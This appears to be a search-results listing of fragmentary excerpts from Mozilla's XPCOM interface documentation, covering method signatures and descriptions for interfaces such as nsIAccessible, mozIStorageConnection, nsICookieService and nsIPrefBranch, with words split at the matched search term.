...g nsicomponentmanager.createinstance(). if you want your component to be started as a service, prepend "service," to the contract id: categorymanager->addcategoryentry(appstartup_category, "mycomponentname", "service,contract-id", pr_true, pr_true, getter_copies(p
revious)); with "service," specified, the component is instantiated using nsicomponentmanager.getservice(). in either case, there's no need to additionally register for the startup notifications. simply registering with the category manager is enough. what happens next once you've registered with the category manager, at mozilla startup time (or when the embedding application's ns_initembedding() fun...
Components.classes
that can be constructed or accessed as an xpcom service. the properties of this object are indexed by the contractid (or human-readable name) of the component class. all of the properties and methods of the nsijscid and its ancestor interface nsijsid are available for use on the objects contained in this object. note that components.classes reflects only those component classes that have been p
reviously installed and registered with the component manager using contractids. if you want to use a class which was only registered with their cid, use components.classesbyid instead of components.classes to retrieve it. note also that it is possible that a given add-on component with a given contractid will be present on one machine but not have been installed on another machine. if the given ele...
...eton component, only single instance of which exists at any time), you should use getservice instead of createinstance: var os = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); the first time anyone accesses a service, the corresponding component is created under the hood. ...
Language bindings
defined in a privileged scope and create a structured clone of it in a less-privileged scope. it returns a reference to the clone:components.utils.createobjectincomponents.utils.createobjectin creates a new javascript object in the scope of the specified object's compartment.components.utils.evalinsandboxthe evalinsandbox() function enables you to evaluate javascript code inside a sandbox you've p
reviously created using the components.utils.sandbox constructor.components.utils.evalinwindowthis function enables code running in a more-privileged javascript context to evaluate a string in a less-privileged javascript context. the result is structured cloned back to the original context, unless it is native (for example, if it returns a dom node, this is not structured cloned, because the origina...
...d does in js_setgczeal. this method calls through to that thusly:components.utils.unloadcomponents.utils.unload was introduced in firefox 7 and is used to unload javascript code modules. ...
IAccessibleTable
case where the table cells are not direct children of the table this is the cell index specified by the "table-cell-index" object attribute obtained from parsing the attributes string returned by calling iaccessible2.attributes() on the cell object. rowindex 0 based row index. return value e_invalidarg if bad [in] passed, [out] value is 0. s_ok. selectcolumn() selects a column and unselects all p
reviously selected columns. hresult selectcolumn( [in] long column ); parameters column 0 based index of the column to be selected. return value e_invalidarg if bad [in] passed. s_ok. selectedchildren() returns a list of cell indexes currently selected (0 based). [propget] hresult selectedchildren( [in] long maxchildren, [out, size_is(,maxchildren), length_is(, nchildren)] long children, [...
...eration "special consideration when using arrays" for more details. rows an array of row indexes of selected rows (each index is 0 based), allocated by the server. free it with cotaskmemfree. nrows the number of row indexes returned; the size of the returned array. return value s_false if there are none, [out] values are null and 0 respectively. s_ok. selectrow() selects a row and unselects all p
reviously selected rows. hresult selectrow( [in] long row ); parameters row 0 based index of the row to be selected. return value e_invalidarg if bad [in] passed. s_ok. summary() returns the summary description of the table. the returned object could be an iaccessible or an iaccessible2. [propget] hresult summary( [out] iunknown accessible ); parameters accessible returns a reference to an i...
IAccessibleTable2
row the 0 based index of the row for which to retrieve the description. description returns the description text of the specified row in the table if such a description exists. otherwise a null pointer is returned. return value e_invalidarg if bad [in] passed, [out] value is null. s_false if there is nothing to return, [out] value is null. s_ok. selectcolumn() selects a column and unselects all p
reviously selected columns. the behavior should mimic that of the application, but for those applications which do not have a means in the gui to select a full column of cells the behavior should be as follows: first any selected columns in the table are unselected. then the entire column of cells for the specified column is selected. if any of the cells in the selected column span additional columns...
...ows)] long selectedrows, [out] long nrows ); parameters selectedrows an array of row indexes of selected rows (each index is 0 based), allocated by the server. free it with cotaskmemfree. nrows the number of row indexes returned; the size of the returned array. return value s_false if there are none, [out] values are null and 0 respectively. s_ok. selectrow() selects a row and unselects all p
reviously selected rows. the behavior should mimic that of the application, but for those applications which do not have a means in the gui to select a full row of cells the behavior should be as follows: first any selected rows in the table are unselected. then the entire row of cells for the specified row is selected. if any of the cells in the selected row span additional rows, the cells in those ...
mozIStorageConnection
rageconnection.createaggregatefunction(). void removefunction( in autf8string afunctionname ); parameters afunctionname the name of the function to remove. removeprogresshandler() removes the progress handler that was registered with mozistorageconnection.registerprogresshandler(). mozistorageprogresshandler removeprogresshandler(); parameters none. return value returns the p
revious registered handler. rollbacktransaction() this method rolls back the current transaction. this is essentially an "undo," and returns the database to the state it was in before the transaction began. void rollbacktransaction(); parameters none. setgrowthincrement() lets you set the amount by which the sqlite database file is grown or shrunk when resizing is necessary. this helps avoid...
...le threads, the progress handler you register must be threadsafe mozistorageprogresshandler setprogresshandler( in print32 agranularity, in mozistorageprogresshandler ahandler ); parameters agranularity the number of sql virtual machine steps between progress handler callbacks. ahandler the mozistorageprogresshandler instance that is being registered. return value returns the p
revious registered handler, or null if none was p
reviously registered. tableexists() determines if there exists a table with the given name. boolean tableexists( in autf8string atablename ); parameters atablename the sql table whose existence should be checked. return value returns true if the table exists, false otherwise. see also storage mozstorage introduction and how-to arti...
nsIAccessible
siaccessible.role to get the role of the accessible nsiaccessible.getstate() to get states of the accessibe nsiaccessible.name, nsiaccessible.value to get the name and the value of the accessible tree navigation you can navigate through the accessible tree by the following methods and attributes. nsiaccessible.parent to get the parent accessible nsiaccessible.nextsibling, nsiaccessible.p
revioussibling to get sibling accessibles nsiaccessible.firstchild, nsiaccessible.lastchild to get first and last child nsiaccessible.children, nsiaccessible.getchildat(), nsiaccessible.childcount to navigate through the children by index accessible position you can use nsiaccessible.indexinparent to get accessible index in its parent. use nsiaccessible.groupposition() to get information about t...
... getactiondescription this method retrieves the description of the accessible action at the given zero-based index. doaction this method performs the accessible action at the given zero-based index. action number 0 is the default action. attributes parent parent node in accessible tree. nextsibling next sibling in accessible tree. p
revioussibling p
revious sibling in accessible tree. firstchild first child in accessible tree. lastchild last child in accessible tree. children array of all this element's children. childcount number of accessible children. indexinparent the 0-based index of this accessible in its parent's list of children, or -1 ...
nsIAccessibleRelation
his object is label for a target object. relation_labelled_by 0x04 this object is labelled by a target object. if the accessible has an nsiaccessible.name() , you can get the nsiaccessible that it was labelled by in order to get more formatting information. note: the label and description (see relation_described_by) relations may be used to p
revent redundant information from being presented by the screen reader, since the label and description can occur both on their own, and in the name or description fields of an nsiaccessible. relation_member_of 0x05 this object is a member of a group of one or more objects. when there is more than one object in the group each member may have one and the same target,...
...is a parent window of the target object. relation_described_by 0x0e this object is described by the target object. if the accessible has an nsiaccessible.description() , you can get the nsiaccessible that it was described by in order to get more formatting information. note: the label (see relation_labelled_by) and description relations may be used to p
revent redundant information from being presented by the screen reader, since the label and description can occur both on their own, and in the name or description fields of an nsiaccessible. relation_description_for 0x0f this object is describes the target object. relation_default_button 0x4000 part of a form/dialog with a related default butto...
nsIAutoCompleteInput
terface monitors the input in a text field and displays an autocomplete panel at the appropriate time. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview acstring getsearchat(in unsigned long index); void onsearchbegin(); void onsearchcomplete(); boolean ontextentered(); boolean ontext
reverted(); void selecttextrange(in long startindex, in long endindex); attributes attribute type description completedefaultindex boolean if a search result has its defaultindex set, this will optionally try to complete the text in the textbox to the entire text of the result at the default index as the user types. this ...
...turned. return value the name of the specified object. onsearchbegin() called when the search starts. void onsearchbegin(); parameters none. onsearchcomplete() called when the search ends successfully. void onsearchcomplete(); parameters none. ontextentered() called when the user selects and presses enter on a result item. boolean ontextentered(); parameters none. return value return true to p
revent handling the selection. ontext
reverted() called when the user cancels the autocomplete session. boolean ontext
reverted(); parameters none. return value return true to p
revent the
reversion. selecttextrange() selects a range of text in the autocomplete text field. void selecttextrange( in long startindex, in long endindex ); parameters startindex the index to the first char...
nsICachingChannel
only. cacheforofflineuse boolean specifies whether or not the data should be placed in the offline cache, in addition to normal memory/disk caching. this may fail if the offline cache is not present. the value of this attribute should be set before opening the channel. cachekey nsisupports uniquely identifies the data in the cache for this channel. holding a reference to this key does not p
revent the cached data from being removed. a cache key retrieved from a particular instance of nsicachingchannel could be set on another instance of nsicachingchannel provided the underlying implementations are compatible and provided the new channel instance was created with the same uri. the implementation of nsicachingchannel would be expected to use the cache entry identified by the cache token. ...
...ntified by the cache token. depending on the value of nsirequest.loadflags(), the cache entry may be validated, overwritten, or simply read. the cache key may be null indicating that the uri of the channel is sufficient to locate the same cache entry. setting a null cache key is likewise valid. cachetoken nsisupports uniquely identifies the data in the cache. holding a reference to this token p
revents the cached data from being removed. a cache token retrieved from a particular instance of nsicachingchannel could be set on another instance of nsicachingchannel provided the underlying implementations are compatible. the implementation of nsicachingchannel would be expected to only read from the cache entry identified by the cache token and not try to validate it. the cache token can be quer...
nsICategoryManager
ified. ("protocol") aentry the name of the category entry being modified. ("http") avalue the value for the category entry. ("moz.httprulez.1") apersist no longer supported. category entries never persist across application sessions. you must pass false for this parameter. areplace a flag indicating whether or not to overwrite the value of an existing category entry. return value the p
revious value for the given category entry (if any). exceptions thrown ns_error_invalid_arg this error is returned if areplace is false and the category entry already has a value, or if apersist is true. deletecategory() delete a category and all entries. note: if the category does not exist, then this method does nothing. void deletecategory( in string acategory ); parameters acateg...
...es not user the category manager but it is included for completness of the example. var content_type = 'application/pdf'; // update the category manager in case the plugins are already loaded. ...
nsIClipboardDragDropHooks
widget/public/nsiclipboarddragdrophooks.idlscriptable interfaces for overriding the built-in drag, drop, copy, and paste implementations in the content area and editors. use this to do things such as p
revent a drag from starting, adding or removing data and flavors, or p
reventing the drop. inherits from: nsisupports last changed in gecko 1.7 embedders who want to have these hooks made available should implement nsiclipboarddragdrophooks and use the command manager to send the appropriate commands with these parameters/settings: command: cmd_clipboarddragdrophook params value type possible values "addhook" isupports nsiclipboarddragdrophooks as nsisupports "removehook" isupports nsiclipboarddragdrophooks as nsisupports note: overrides/hooks need to be ad...
...ters event the dom event (drag gesture). session the drag session from which client can get the flavors present or the actual data. return value true indicates to the operating system that if a drop does happen on this browser, it will be accepted. otherwise, false to indicates to the operating system that drop is not allowed. on win32, this will change the cursor to "reject". allowstartdrag() p
revents the drag from starting. boolean allowstartdrag( in nsidomevent event ); parameters event the dom event (drag gesture). return value true if the drag can proceed. otherwise, false to show the drag is canceled (does not go to operating system). oncopyordrag() alters the flavors or data presented to the os. used for drag and copy actions. because this can be called many times, it is highly ...
nsIComponentRegistrar
ass being registered. aclassname the name of the class being registered. this value is intended as a human-readable name for the class and need not be globally unique. (unused) acontractid the contractid of the class being registered. may be null if no contractid is needed. afactory the nsifactory instance of the class being registered. if afactory is null, the contract will be associated with a p
reviously registered classid. registerfactorylocation() registers a factory to be used to instantiate a particular class identified by classid, and creates an association of class name and contractid with the class. however, unlike registerfactory(), the location of the component containing the factory implementation is specified instead of the factory instance. void registerfactorylocation( in ns...
... aclass, in nsifactory afactory ); parameters aclass the classid of the class being unregistered. afactory the nsifactory instance of the class being unregistered. unregisterfactorylocation() unregisters the factory associated with a given classid and component file location. void unregisterfactorylocation( in nscidref aclass, in nsifile afile ); parameters aclass the classid that was p
reviously registered. afile the component file that was p
reviously registered. remarks this interface was finalized (frozen) for gecko 1.0. see bug 115853 for details. from gecko 2.0 interfaces are no longer frozen. ...
nsICookieService
annel used to load the document. this parameter may be null, but it is strongly recommended that a non-null value be provided to ensure that the cookie privacy preferences are honored. return value returns the resulting cookie string. getcookiestringfromhttp() get the complete cookie string associated with the uri. note: this function is redundant and will most likely be removed in a future
revision of this interface. getcookiestring() will query the documenturi property off of nsihttpchannelinternal if supported, so getcookiestring() can be used in place of this method. string getcookiestringfromhttp( in nsiuri auri, in nsiuri afirsturi, in nsichannel achannel ); parameters auri the uri of the document for which cookies are being queried. afirsturi the uri that the ...
...okie the cookie string to set. achannel the channel used to load the document. this parameter may be null, but it is strongly recommended that a non-null value be provided to ensure that the cookie privacy preferences are honored. setcookiestringfromhttp() set the cookie string and expires associated with the uri. note: this function is redundant and will most likely be removed in a future
revision of this interface. setcookiestring() will query the documenturi property off of nsihttpchannelinternal if supported, and setcookiestring() could also query the date header from the channel if achannel supports nsihttpchannel. void setcookiestringfromhttp( in nsiuri auri, in nsiuri afirsturi, in nsiprompt aprompt, in string acookie, in string aservertime, in nsichannel ach...
nsIDialogParamBlock
nt32 inindex ); void setint( in print32 inindex, in print32 inint ); void setnumberstrings( in print32 innumstrings ); void setstring( in print32 inindex, in wstring instring); attributes attribute type description objects nsimutablearray a place where you can store an nsimutablearray to pass nsisupports. methods getint() get a p
reviously set integer. print32 getint( in print32 inindex ); parameters inindex the index of the integer to get. must be in the range 0..7. return value the p
reviously set integer, or 0 if no integer has been p
reviously set at that index. getstring() get a p
reviously set string. wstring getstring( in print32 inindex ); parameters inindex the index of the string to get. must b...
...setint() void setint( in print32 inindex, in print32 inint ); parameters inindex the index of the integer to set. must be in the range 0..7. inint the integer to set at the given index. setnumberstrings() set the maximum number of strings to pass. default is 16. ...
nsIEditor
document document read only. the dom document this editor is associated with. documentchara...
... document document read only. the dom document this editor is associated with. documentcharacterset acstring sets the current 'save' document ch...
nsIFileView
t it can be passed as a tree view. implemented by: @mozilla.org/filepicker/fileview;1. to create an instance, use: var fileview = components.classes["@mozilla.org/filepicker/fileview;1"] .createinstance(components.interfaces.nsifileview); method overview void setdirectory(in nsifile directory); void setfilter(in astring filterstring); void sort(in short sorttype, in boolean
reversesort); attributes attribute type description
reversesort boolean if true results will be sorted in ascending order. read only. selectedfiles nsiarray an nsiarray of selected files, which contains nsiarray instances. read only. showhiddenfiles boolean if true hidden files will be shown. showonlydirectories boolean if true only directory entries will be returned. sorttype short t...
...etdirectory( in nsifile directory ); parameters directory the directory to be browsed. setfilter() set the filter to be applied to the file list, for example "*.jpg" would only return jpg files. void setfilter( in astring filterstring ); parameters filterstring the filter to be applied to the file list. sort() set the method used for sorting. void sort( in short sorttype, in boolean
reversesort ); parameters sorttype one of the sort* constants.
reversesort true, results will be sorted in ascending order. example <?xml version="1.0" ?> <?xml-stylesheet href="chrome://global/skin/" type="text/css" ?> <window id="test" title="test" width="640" height="480" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree flex="1" id="ftree"> <treecols> ...
nsIFrameLoader
s in use to support per-frame processes. ...
...arameters auri the uri to load into the frame. sendcrossprocesskeyevent() creates and sends a keyevent to the content viewport's process. see nsidomwindowutils.sendkeyevent() for details; this method is its equivalent for cross-process event handling. void sendcrossprocesskeyevent( in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean ap
reventdefault ); parameters atype the event type. akeycode the key code. acharcode the character code. amodifiers the modifier flags. ap
reventdefault whether or not to p
revent default actions from being performed. sendcrossprocessmouseevent() creates and sends a mouseevent to the content viewport's process. see nsidomwindowutils.sendmouseevent() for details; this method is its equiva...
nsILocalFile
read only. followlinks prbool determines whether or not the nsilocalfile will automati...
.... nsresult readlocalfile(nsilocalfile *alocalfile) { prfiledesc *fd; nsresult rv = alocalfile->opennsprfiledesc(pr_rdonly, 0, &fd); if (ns_failed(rv)) return rv; char buf[512]; print32 n; while ((n = pr_read(fd, buf, sizeof(buf))) > 0) { // do something with n-byte block of data from file... } if (n < 0) rv = ns_error_unexpected; pr_close(fd); return rv; }
reveal() ask the operating system to open the folder which contains this file or folder. this routine only works on platforms which support the ability to open a folder. see the note in the remarks below. void
reveal(); parameters none. setrelativedescriptor() initializes the file to the location relative to fromfile using a string returned by getrelativedescriptor(). void setrelativedescript...
nsILoginManager
ns of gecko. implemented by: @mozilla.org/login-manager;1. ...
...y stored in the login manager. to change a login, you have to use modifylogin(). autocompletesearch() generates results for a user field autocomplete menu. note: this method is provided for use only by the formfillcontroller, which calls it directly. it should not be used for any other purpose. nsiautocompleteresult autocompletesearch( in astring asearchstring, in nsiautocompleteresult ap
reviousresult, in nsidomhtmlinputelement aelement ); parameters asearchstring missing description ap
reviousresult missing description aelement missing description return value missing description countlogins() returns the number of logins matching the specified criteria. called when only the number of logins is needed, and not the actual logins (which avoids prompting the user for a ...
nsINavHistoryResult
rt specifies the sorting mode for the result. this value must be one of nsinavhistoryqueryoptions.sort_by_*. changing this value updates the corresponding options for the result so that reusing the current options and queries will always return results based on the current view. suppressnotifications boolean if true, notifications are suppressed. this is used to p
revent rapid flickering of changes when performing batch or temporary operations on the result structure. viewer nsinavhistoryresultviewer the viewer for this result. the viewer is responsible for actually updating the view object itself, as well as for handling events on the view. obsolete since gecko 2.0 methods addobserver() adds an observer for changes that o...
...er interface, which will receive notifications of changes on the result. aownsweak if false, the result will keep an owning reference to the observer, which must be removed by calling removeobserver(). if true, the result will keep a weak reference to the observer, which must implement the nsisupportsweakreference interface. removeobserver() removes an observer that was added by a p
revious call to addobserver(). void removeobserver( in nsinavhistoryresultobserver aobserver ); parameters aobserver the observer to remove. see also nsinavhistoryresultobserver nsinavhistorycontainerresultnode ...
nsINavHistoryResultTreeViewer
toolkit/components/places/public/nsinavhistoryservice.idlscriptable this interface provides a predefined view adaptor for interfacing places query results with a tree. 1.0 66 introduced gecko 1.8 inherits from: nsinavhistoryresultobserver last changed in gecko 1.9 (firefox 3) this object removes itself from the associated result when the tree is detached; this p
revents circular references. it's important to be aware of this—if you want to reuse the same viewer, you need to keep your own reference to it, then reinitialize it when the tree changes. if you use this object and attach it to a result without attaching it to a tree, then forget about it, it will leak. method overview nsinavhistoryresultnode nodefortreeindex(in unsigned long aindex); unsigne...
...result without attaching it to a tree, then forget about it, it will leak. method overview nsinavhistoryresultnode nodefortreeindex(in unsigned long aindex); unsigned long treeindexfornode(in nsinavhistoryresultnode anode); attributes attribute type description collapseduplicates boolean controls whether duplicate adjacent elements are collapsed into a single item in the tree. this p
revents you from seeing multiple entries for things when you have selected to get visits. when you sort by date, the multiple entries will then appear because they will be separated (unless you clicked reload a bunch of times in a row). if you know you'll only ever want one entry per site, you should ask for uris back instead of visits so it will be more efficient. default = true. changing this value...
nsIPermissionManager
milliseconds since jan 1 1970 0:00:00) representing expiration of this permission. remove() remove permission information for a given host string and permission type. void remove( in nsiuri uri, in string type ); parameters nsiuri the uri whose permission will be removed. type a case-sensitive ascii string, identifying the type of the permission to be removed. this must have been p
reviously registered using the add() method. removefromprincipal() remove permission information for a given principal and permission type. void removefromprincipal( in nsiprincipal principal, in string type ); parameters principal the principal whose permission will be removed. type a case-sensitive ascii string, identifying the type of the permission to be removed. this must have be...
...ly registered using the add() method. removefromprincipal() remove permission information for a given principal and permission type. void removefromprincipal( in nsiprincipal principal, in string type ); parameters principal the principal whose permission will be removed. type a case-sensitive ascii string, identifying the type of the permission to be removed. this must have been p
reviously registered using the add() method. removepermission() remove a given permission from the stored permissions. void removepermission( in nsipermission perm ); parameters nsipermission the permission which will be removed. removeallsince() remove permission information for a given host string and permission type. void remove( in int64_t since ); parameters since epoch t...
Component; nsIPrefBranch
rence change observer. note: you must call removeobserver method on the same nsiprefbranch instance on which you called addobserver method in order to remove aobserver; otherwise, the observer will not be removed. void removeobserver( in string adomain, in nsiobserver aobserver ); parameters adomain the preference which is being observed for changes. aobserver an observer p
reviously registered with addobserver. resetbranch() called to reset all of the preferences referenced by this branch to their default values. note: this method can be called on either a default or user branch but, in effect, always operates on the user branch. note: as of firefox 3.0, this function has not yet been implemented. void resetbranch( in string astartingat ); parameters astar...
...ue the xpcom object from which to set the complex preference value. setintpref() called to set the state of an individual integer preference. void setintpref( in string aprefname, in long avalue ); parameters aprefname the integer preference to set the value of. avalue the integer value to set the preference to. unlockpref() called to unlock a specific preference. unlocking a p
reviously locked preference allows the preference service to once again return the user set value of the preference. note: this method can be called on either a default or user branch but, in effect, always operates on the default branch. void unlockpref( in string aprefname ); parameters aprefname the preference to be unlocked. remarks registering as a preference observer can open an ob...
nsIPrintingPrompt
n isforprinting, out nsiwebprogresslistener webprogresslistener, out nsiprintprogressparams printprogressparams, out boolean notifyonopen ); parameters webbrowserprint represents the document to be printed. printsettings printsettings for print "job" opendialogobserver an observer that will be notifed when the dialog is opened. ...
... true - for printing, false for print p
review. webprogresslistener additional listener can be registered for progress notifications. printprogressparams parameter object for passing progress state. notifyonopen this indicates that the observer will be notified when the progress dialog has been opened. if false is returned it means the observer (usually the caller) shouldn't wait for print p
review progress there is intermediate progress. ...
nsIProtocolProxyService
flag to resolve, one can failover to asyncresolve to avoid locking up the calling thread if a pac query is required. when this flag is passed to resolve, resolve may throw the exception ns_base_stream_would_block to indicate that it failed due to this flag being present. methods resolve() deprecated since gecko 18 this method has been removed in firefox 18. use resolveasync instead p
revious doc this method returns a nsiproxyinfo instance that identifies a proxy to be used for loading the given uri. otherwise, this method returns null indicating that a direct connection should be used. if this proxy is unavailable, getfailoverforproxy() may be called to determine the correct secondary proxy to be used. if the protocol handler for the given uri supports nsiproxiedprotocolhand...
...xy filters. the filters have the opportunity to modify the list of proxies. if two filters register for the same position, then the filters will be visited in the order in which they were registered. if the filter is already registered, then its position will be updated. after filters have been run, any disabled or disallowed proxies will be removed from the list. a proxy is disabled if it had p
reviously failed-over to another proxy (see getfailoverforproxy()). a proxy is disallowed, for example, if it is a http proxy and the nsiprotocolhandler for the queried uri does not permit proxying via http. if a nsiprotocolhandler disallows all proxying, then filters will never have a chance to intercept proxy requests for such urls. note: it is possible to construct filters that compete with one ...
nsIRequest
description load_normal 0 no special load flags. load_background 1 << 0 do not deliver status notifications to the nsiprogresseventsink, or keep this load from completing the nsiloadgroup it may belong to. the following flags control the flow of data into the cache. constant value description inhibit_caching 1 << 7 this flag p
revents caching of any kind. it does not, however, p
revent cached content from being used to satisfy this request. inhibit_persistent_caching 1 << 8 this flag p
revents caching on disk (or other persistent media), which may be needed to preserve privacy. for https, this flag is set automatically. the following flags control what happens when the cache contains data that could per...
...ontent, provided it has already been validated (at least once) since the start of this session. constant value description load_anonymous 1 << 14 when set, this flag indicates that no user-specific data should be added to the request when opened. this means that things like authorization tokens or cookie headers should not be added. note: this will p
revent proxy authentications from working, so use this flag with caution. methods cancel() cancels the current request. this will close any open input or output streams and terminate any async requests. users should normally pass ns_binding_aborted, although other errors may also be passed. the error passed in will become the value of the status attribute. implementations must not send ...
nsIScreen
ordinate space. void getrect( out long left, out long top, out long width, out long height ); parameters left the left edge of the screen's rectangle. top the top edge of the screen's rectangle. width the width of the screen's rectangle. height the height edge of the screen's rectangle. lockminimumbrightness() locks the minimum brightness of the screen, p
reventing it from becoming any dimmer than that brightness level. each call to this method must eventually be followed by a corresponding call to unlockminimumbrightness() with the same value for the brightness parameter. void lockminimumbrightness( in unsigned long brightness ); parameters brightness the new minimum brightness level; this must be one of the values specified in screen bri...
...d by a corresponding call to unlockminimumbrightness() with the same value for the brightness parameter. void lockminimumbrightness( in unsigned long brightness ); parameters brightness the new minimum brightness level; this must be one of the values specified in screen brightness constants. unlockminimumbrightness() releases a lock on the minimum brightness of the screen, which was p
reviously established through a corresponding call to lockminimumbrightness(). void unlockminimumbrightness( in unsigned long brightness ); parameters brightness the brightness level to release; this must be one of the values specified in screen brightness constants. example var screenman = components.classes["@mozilla.org/gfx/screenmanager;1"] .getservice(components.inte...
nsIScriptableIO
al] in astring areplacechar, [optional] in unsigned long abuffersize ); parameters abase the base object from which to read. this should be one of the following types: nsifile: an object returned by getfile() or getfilewithpath(), or any object implementing the nsifile interface. nsitransport: a transport object such as a socket. nsiinputstream: a stream returned by a p
revious call to this method, or any other object that implements nsiinputstream. string: a string from which to read data. amode a space-delineated string of mode terms controlling the manner in which the stream is accessed. if none of these modes are desired, specify an empty string. text: read unicode-converted text. the default character set is utf-8; to read text in another ...
... unsigned long abuffersize, [optional] in unsigned long apermissions ); parameters abase the base object to which to write. this should be one of the following types: nsifile: an object returned by getfile() or getfilewithpath(), or any object implementing the nsifile interface. nsitransport: a transport object such as a socket. nsioutputstream: a stream returned by a p
revious call to this method, or any other object that implements nsioutputstream. amode a space-delineated string of mode terms controlling the manner in which the stream is accessed. if none of these modes are desired, specify an empty string. text: write unicode-converted text. the default character set is utf-8; to write text in another character set, set the acharset argument ...
nsISmsDatabaseService
, in unsigned long long adate); long savesentmessage(in domstring areceiver, in domstring abody, in unsigned long long adate); void getmessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void deletemessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void createmessagelist(in nsidommozsmsfilter filter, in boolean
reverse, in long requestid, [optional] in unsigned long long processid); void getnextmessageinlist(in long listid, in long requestid, [optional] in unsigned long long processid); void clearmessagelist(in long listid); void markmessageread(in long messageid, in boolean value, in long requestid, [optional] in unsigned long long processid) methods savereceivedmessage() void savereceivedmessage...
...etemessage() void deletemessage( in long messageid, in long requestid, [optional] in unsigned long long processid ); parameters messageid a number representing the id of the message. requestid a number representing the id of the request. processid optional a number representing the id of the process. createmessagelist() void createmessagelist( in nsidommozsmsfilter filter, in boolean
reverse, in long requestid, [optional] in unsigned long long processid ); parameters filter a smsfilter to filter out sms messages from a list.
reverse a boolean indicating whether to
reverse the ordering. requestid a number representing the id of the request. processid optional a number representing the id of the process. getnextmessageinlist() void getnextmessageinlist( in long listid, i...
nsITelemetry
this is true if the fhr data reporting service or the self-support s...
...this is true if the fhr data reporting service or the self-support service is enabled. canrecordextended boolean a flag indicating if telemetry is allowed to record extended data. returns false if the u...
nsITreeColumn
the nsitreecolumn interface represents a tree column. layout/xul/base/src/tree/public/nsitreecolumns.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void getidconst([shared] out wstring idconst); native code only! nsitreecolumn getnext(); nsitreecolumn getp
revious(); void invalidate(); attributes attribute type description atom nsiatom the atom attribute of nsitreecolumn which returns an nsiatom for the column, making it fast to do comparisons. read only. native code only! columns nsitreecolumns the nsitreecolumns containing this column. read only. cycler boolean if true, then the column is a cycler column. if the cycler attribute is not set, the column cells are regular text ce...
...tion type_text 1 text column type. type_checkbox 2 checkbox column type. type_progressmeter 3 progress meter column type. methods native code only!getidconst void getidconst( [shared] out wstring idconst ); parameters idconst getnext() get the next column in the nsitreecolumns. nsitreecolumn getnext(); parameters none. return value the next nsitreecolumn in the nsitreecolumns. getp
revious() get the p
revious column in the nsitreecolumn. nsitreecolumn getp
revious(); parameters none. return value the p
revious nsitreecolumn in the nsitreecolumns. invalidate() void invalidate(); parameters none. see also nsitreecolumns ...
nsIUpdate
ets the system differentiate between several nightly builds with the same version, for example. channel astring the channel used to retrieve this update from the update service. detailsurl astring the url to a page which offers details about the content of this update. ideally, this page is not the release notes but some other page that summarizes the differences between this update and the p
revious, which also links to the release notes. displayversion astring the string to display in the user interface for the version. if you want a real version number use appversion. errorcode long a numeric error code that conveys additional information about the state of a failed update or failed certificate attribute check during an update check. if the update is not in the "failed" state, thi...
...the update. if this is specified, the user is shown the license file after they choose to install the update, and they must agree to it before the download begins. name astring the name of the update, in the form "application_name update_version" patchcount unsigned long the number of patches supplied by this update. read only. platformversion astring the toolkit version of this update. p
reviousappversion astring the application version prior to the application being updated. selectedpatch nsiupdatepatch the currently selected patch for this update. read only. serviceurl astring the url to the update service that supplied this update. showneverforversion boolean whether to show the "no thanks" button in the update prompt. this allows the user to never receive a notification fo...
nsIWebBrowser
izations like discarding decoded image data and throttling the refresh driver. in firefox, this corresponds to the visible tab. defaults to true. for optimal performance, set it to false when appropriate. parenturicontentlistener nsiuricontentlistener uri content listener parent. the embedder may set this property to their own implementation if they intend to override or p
revent how certain kinds of content are loaded. note: if this attribute is set to an object that implements nsisupportsweakreference, the implementation should get the nsiweakreference and hold that. otherwise, the implementation should not refcount this interface; it should assume that a non null value is always valid. in that case, the embedder should explicitly set this value back to null if t...
... in nsiidref aiid ); parameters alistener the listener to be added. aiid the iid of the interface that will be called on the listener as appropriate. return value ns_ok listener was successfully added. ns_error_invalid_arg one of the arguments was invalid or the object did not implement the interface specified by the iid. removewebbrowserlistener() removes a p
reviously registered listener. void removewebbrowserlistener( in nsiweakreference alistener, in nsiidref aiid ); parameters alistener the listener to be removed. aiid the iid of the interface on the listener that will no longer be called. return value ns_ok listener was successfully added. ns_error_invalid_arg one of the arguments was invalid or the object did ...
nsIWindowMediator
ing the first window in front to back order. nsidomwindow getmostrecentwindow( in wstring awindowtype ); parameters awindowtype return the topmost window of this type. ("type" is the |windowtype| attribute of the xml <window> element.) if null, return the topmost window of any type. return value the topmost window. note: starting in gecko 8.0, the returned value is an nsidomwindow; p
reviously, it was an nsidomwindowinternal. you may need to update your code or recompile binary components, if they use this method. getouterwindowwithid() return the outer window with the given id, if any. nsidomwindow getouterwindowwithid( in unsigned long long aouterwindowid ); parameters aouterwindowid the id of the outer window, e.g., as obtained by nsidomwindowutils.outerwindowid. ...
... return the window's z level (as defined in nsixulwindow). pruint32 getzlevel( in nsixulwindow awindow ); parameters awindow the window in question. return value awindow's z level. getzorderdomwindowenumerator() return an enumerator which iterates over all windows of type awindowtype in their z (front-to-back) order. note this interface makes no requirement that a window couldn't be
revisited if windows are re-ordered while z-order enumerators are active. nsisimpleenumerator getzorderdomwindowenumerator( in wstring awindowtype, in boolean afronttoback ); parameters awindowtype the returned enumerator will enumerate only windows of this type. ("type" is the |windowtype| attribute of the xml <window> element.) if null, all windows will be enumerated. afronttoback if t...
nsIXFormsModelElement
anipulating instance data and updating computed and displayed values. 1.0 66 introduced gecko 1.8 obsolete gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomdocument getinstancedocument(in domstring instanceid); void rebuild(); void recalculate(); void refresh(); void
revalidate(); methods getinstancedocument() nsidomdocument getinstancedocument( in domstring instanceid ); parameters instanceid the id of the instance element to be returned. return value an nsidomdocument. exceptions thrown domexception if there is no matching instance data. rebuild() signals the xforms processor to rebuild any internal data structures used to track computational dependen...
...ied instance data prior to invoking recalculate, the dom mutations are not cached. thus, a full recalculation is necessary to ensure the proper changes are effected throughout the xforms model. void recalculate(); parameters none. refresh() signals the xforms processor to perform a full refresh of form controls bound to instance nodes for the given xforms model. void refresh(); parameters none.
revalidate() signals the xforms processor to perform a full
revalidation of the given xforms model. void
revalidate(); parameters none. see also xforms 1.1rec ...
nsIXPCScriptable
